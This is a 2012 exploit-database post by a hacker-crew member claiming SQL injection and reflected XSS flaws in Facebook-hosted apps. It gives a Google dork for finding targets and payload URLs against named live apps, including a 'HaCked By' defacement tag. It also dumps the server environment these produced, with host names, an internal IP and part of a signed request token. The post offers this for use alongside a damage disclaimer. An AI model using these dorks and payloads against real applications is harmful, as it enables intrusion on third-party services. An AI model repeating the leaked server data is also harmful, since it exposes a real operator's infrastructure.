facebook facebook twitter rss

Facebook APPS <= Multiple (SQLi/RSD) Vulnerabilities

Author: KedAns-Dz , Published: 06-06-2012
                                                                     



1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : 1337day.com 0
1 [+] Support e-mail : submit[at]1337day.com 1
0 0
1 ######################################### 1
0 I'm KedAns-Dz member from Inj3ct0r Team 1
1 ######################################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

###
# Title : Facebook APPS <= Multiple (SQLi/RSD) Vulnerabilities
# Author : KedAns-Dz
# E-mail : ked-h (@hotmail.com / @1337day.com / @exploit-id.com / @dis9.com)
# Home : Hassi.Messaoud (30500) - Algeria -(00213555248701)
# Web Site : www.1337day.com | www.inj3ct0rs.com
# FaCeb0ok : http://fb.me/Inj3ct0rK3d
# Friendly Sites : www.r00tw0rm.com * www.exploit-id.com * www.dis9.com
# platform : php
# Type : Multiple
# Security Risk : Critical
# Tested on : Windows XP-SP3 (Fr)
# Founder : [http://apps.facebook.com]
###

##
# | >> --------+++=[ Dz Offenders Cr3w ]=+++-------- << |
# | > Indoushka * KedAns-Dz * Caddy-Dz * Kalashinkov3 |
# | Jago-dz * Over-X * Kha&miX * Ev!LsCr!pT_Dz * soucha |
# | ***** KinG Of PiraTeS * The g0bl!n * dr.R!dE ***** |
# | ------------------------------------------------- < |
##

# <3 <3 Greetings t0 Palestine <3 <3

# Google Dork [ site:apps.facebook.com -allinurl:/index.php/ ]

# Description :
Weakness lies mainly in the file (index.php) in APPS
By inserting interface Facebook (/facebook/)
And this is in the application on the remote/local Sarver
Where an attacker can falsify the application and insert
malicious commands to enable the extraction of sensitive information

# Proof of Concept (1): SQL Injection Vulnerability =>

+> http://apps.facebook.com/[ Application ]/index.php/facebook/[SQL-i]

=> Error MSG :
-------------------------------------------------------------------------------
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result
resource in /home/[PATH]/public_html/facebook/apps/quotes/index.php on line 92

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result
resource in /home/[PATH]/public_html/facebook/apps/quotes/index.php on line 103
-------------------------------------------------------------------------------

# Demo's : ( I'm not responsible for any damage !) =>

http://apps.facebook.com/frasi_bukowski/index.php/facebook/%27
http://apps.facebook.com/slogan_pubblicita/index.php/facebook/%27
http://apps.facebook.com/proverbi_giapponesi/index.php/facebook/%22

+> See this PIC for Ex. (http://i49.tinypic.com/1fv02v.jpg)

# Proof of Concept (2): Remote Server Disclosure Vulnerability =>

# Description :
Weakness lies mainly in the file (index.php|&|request.php) in APPS
By inserting interface Facebook (/facebook/)
And this is in the application on the remote Sarver
Where an attacker can falsify the application and
GET/Disclosure Remote APPS Files/Data Informations

+> http://apps.facebook.com/[ Application ]/index.php/facebook/"><XSS Code>

# Demo : ( I'm not responsible for any damage !) =>

http://apps.facebook.com/playhappyfarm/index.php/facebook/%22%3E%3Ch1%3EHaCked%20By%20KedAns-Dz%3C/h1%3E

+> See This PIC's ex. (http://i47.tinypic.com/34qvadt.jpg) || (http://i50.tinypic.com/2m5crap.jpg)

# Result :

----------------------------------------------------------------------------------
ErrorException [ Fatal Error ]: Call to undefined method Request::getMethod()

SYS_PATH/request.php [ 1001 ]

996 $class->getMethod($action)->invokeArgs($controller, $this->_params);
997 // Execute the "after action" method
998 $class->getMethod('after')->invoke($controller);
999 } catch (ReflectionException $e) {
1000 // Use __call instead
1001 $class->getMethod('__call')->invokeArgs($controller, array($this->getMethod() , $this->_params));
1002 }
1003 return $this;
1004 }
1005
1006 /**

{PHP internal call} » Ko::shutdown_handler()

----------------------------------------------------------------------------------

# +> +> +> +> : Click ' Environment ' Link and See (Result) =>
**********************************************************************************
Environment
-----------

Included files (16)
-------------------
DOC_ROOT/public/index.php
APP_PATH/bootstrap.php
SYS_PATH/core.php
MOD_PATH/dynamodb/init.php
SYS_PATH/route.php
SYS_PATH/request.php
APP_PATH/controllers/facebook.php
SYS_PATH/controller.php
SYS_PATH/view.php
SYS_PATH/smarty/Smarty.class.php
SYS_PATH/config.php
SYS_PATH/config/file.php
SYS_PATH/config/reader.php
SYS_PATH/arr.php
DOC_ROOT/data/config/smarty.php
APP_PATH/views/error.php

Loaded extensions (33)
----------------------
Core
date
ereg
libxml
pcre
sqlite3
ctype
curl
dom
fileinfo
filter
hash
iconv
json
mysql
SPL
PDO
pdo_sqlite
session
posix
Reflection
standard
SimpleXML
SQLite
Phar
tokenizer
xml
xmlreader
xmlwriter
cgi-fcgi
memcache
eAccelerator
mongo

$_GET
------
index_php/facebook/\">
HaCked_By_KedAns-Dz | string(0) ""

$_POST
-------
signed_request | string(200) "G3L1mj6oKrOLSqO1CDAUGHkZy5IHuGG9N7fLQI4XEG8.eyJhbGdvcml0aG0iOiJITUFDLVNIQTI1NiIsI

$_SERVER
---------
USER : string(6) "nobody"

HOME : string(1) "/"

FCGI_ROLE : string(9) "RESPONDER"

GATEWAY_INTERFACE : string(7) "CGI/1.1"

SERVER_SOFTWARE : string(5) "nginx"

QUERY_STRING : string(54) "index.php/facebook/"><h1>HaCked%20By%20KedAns-Dz</h1>&"

REQUEST_METHOD : string(4) "POST"

CONTENT_TYPE : string(33) "application/x-www-form-urlencoded"

CONTENT_LENGTH : string(3) "215"

SCRIPT_FILENAME : string(33) "/mnt/htdocs/farm/public/index.php"

SCRIPT_NAME : string(10) "/index.php"

REQUEST_URI : string(66) "/index.php/facebook/%22%3E%3Ch1%3EHaCked%20By%20KedAns-Dz%3C/h1%3E"

DOCUMENT_URI : string(10) "/index.php"

DOCUMENT_ROOT : string(23) "/mnt/htdocs/farm/public"

SERVER_PROTOCOL : string(8) "HTTP/1.1"

REMOTE_ADDR : string(12) "41.xx.xx.xx" // :p My-IP addr Lo_0L

REMOTE_PORT : string(5) "14676"

SERVER_ADDR : string(13) "10.226.46.194"

SERVER_PORT : string(2) "80"

SERVER_NAME : string(30) "farm-ar-fb-3.socialgamenet.com"

REDIRECT_STATUS : string(3) "200"

HTTP_HOST : string(30) "farm-ar-fb-3.socialgamenet.com"
**********************************************************************************

### << ThE|End

#================[ Exploited By KedAns-Dz * Inj3ct0r Team * ]===============================================
# Greets To : Dz Offenders Cr3w < Algerians HaCkerS > | Caddy-Dz * Mennouchi Islem * Rizky Oz * HMD-Cr3w
# +> Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re (1337day.com) * CrosS (r00tw0rm.com)
# Inj3ct0r Members 31337 : Indoushka * KnocKout * SeeMe * Kalashinkov3 * ZoRLu * anT!-Tr0J4n * Angel Injection
# NuxbieCyber (www.1337day.com/team) * Dz Offenders Cr3w * Algerian Cyber Army * xDZx * TM.mOsta * HD Moore
# Exploit-ID Team : jos_ali_joe + Caddy-Dz + kaMtiEz + r3m1ck (exploit-id.com) * Jago-dz * Over-X * KeyStr0ke
# JF * Kha&miX * Ev!LsCr!pT_Dz * KinG Of PiraTeS * TrOoN * T0xic * L3b-r1Z * Chevr0sky * Black-ID * Barbaros-DZ
# packetstormsecurity.org * metasploit.com * r00tw0rm.com * OWASP Dz * Dis9-UE * All Security and Exploits Webs
#============================================================================================================

Like us on Facebook :